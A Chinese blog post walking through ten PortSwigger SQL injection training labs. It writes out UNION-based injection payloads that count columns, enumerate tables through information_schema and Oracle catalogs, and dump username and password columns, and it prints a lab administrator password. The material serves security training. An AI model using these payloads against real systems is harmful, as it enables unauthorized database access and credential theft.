burp靶场sql注入通关—上

靶场地址

http://portswigger.net/web-security/all-labs#sql-injection

第一关(获取隐藏目录):

1.根据关卡提示需要我们发现一个Gifts隐藏目录里未发售的商品,发现什么也没有

2.使用Burpsuite对网页抓包,对该目录进行sql注入后出现未发售的商品

第二关(密码绕过):

1.这关需要用administrator身份登录程序

2.抓包查看登录的参数都在什么位置,发现可以通过注释密码后只使用用户名登录

3.进行注入,成功通关

第三关(联合注入爆出列数):

1.这关需要确定dual表中的列数

2.确定查询返回的列数以及哪些列包含文本数据,发现是有两列均为字符型

'+order+by+2--      不报错

'+order+by+3--      报错

说明有两列

3.利用union select语句构造payload来确定列数

第四关(联合注入爆出表名):

1.这关需要查询 MySQL 和 Microsoft 的数据库类型和版本,先判断表有几列

'+union+select+'abc','def'%23          不报错

'+union+select+'abc','def','ghi'%23    报错

说明该表有两列

2.爆出数据库名称即可通关

'+union+select+@@version,+NULL#

第五关(联合注入爆出表中数据):

1.这关要确定该表的名称及其包含的列,然后检索表的内容以获取所有用户的用户名和密码,并以管理员用户身份登录

   首先判断表有几列

'+union+select+'abc','def'--      不报错,说明有两列

2.构造payload爆出表中列名,发现user列

'+union+select+table_name,+null+from+information_schema.tables--

3.爆出列中每一行的名称

'+union+select+column_name,+null+from+information_schema.columns+where+table_name='users_yztwwz'--

4.爆出username,passwd里的数据

'+union+select+username_aizwzz,+password_vczyfb+from+users_yztwwz--

5.利用得到的administrator密码登录即可通关

第六关(单个列返回多个数值):

1.根据提示需要我们以内置的dual表为一个有效表名从而进行sql注入,先判断表有几列并都是什么类型

'+union+select+'abc','def'+from+dual--        没有报错说明两列都是字符型

2.构造payload爆出数据库中的所有表名

'+union+select+table_name,null+from+all_tables--

3.爆出user表中所有列名  USERS_FTBUWO

'+union+select+column_name,null+from+all_tab_columns+where+table_name='USERS_TQVSUO'--

4.爆出username和password里的所有数据  PASSWORD_BOZPOX  USERNAME_VQVQFE

'+union+select+USERNAME_DUQWLO,+PASSWORD_MEIAWZ+from+USERS_TQVSUO--

5.使用得到的账号密码登录即可通关

administrator    cbt602b0hnki4f9btfko

第七关(确定返回的列数):

1.这关需要我们用null占位来确定该表有几列,先判断有没有注入点

  用单引号+注释符注入发现能成功返回原来的值,说明有注入点

2.利用null对列数进行测试,判断正确即可通关

'+union+select+null+null--                 报错

'+union+select+null+null+null--         不报错

说明该表有三列

第八关(判断包含文本的列):

1.这关需要从将一个随机值出现在查询结果中,达到确定有数据的列的目的,该随机值在页面最上面

2.确定该表有几列

'+union+select+null,null,null--       说明该表有三列

3.挨个位置判断有随机值的列,发现在第二列处不报错,说明有该值

'+union+select+null,'zAM7dd',null--

第九关(从其他表检索数据):

1.这关要求我们从数据库中一个名为 users 的表,其列名为 username 和 password中获取administrator的密码去登录

  先判断该表的列数和类型

2.获取user表中的username和password的值

3.利用得到的administrator的密码登录即可通关

第十关(单列中检索多个值):

1.首先判断包含的列数

  确定哪列有数值及其类型

'+union+select+null,'abc'--

2.获取user表中的username和password的值,发现报错了

'+union+select+username,password+from+users--

3.根据提示将表中的数据输出为一行

'+union+select+null,username||'~'||password+from+users--

4.利用得到的administrator的密码登录即可通关

  • 32
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值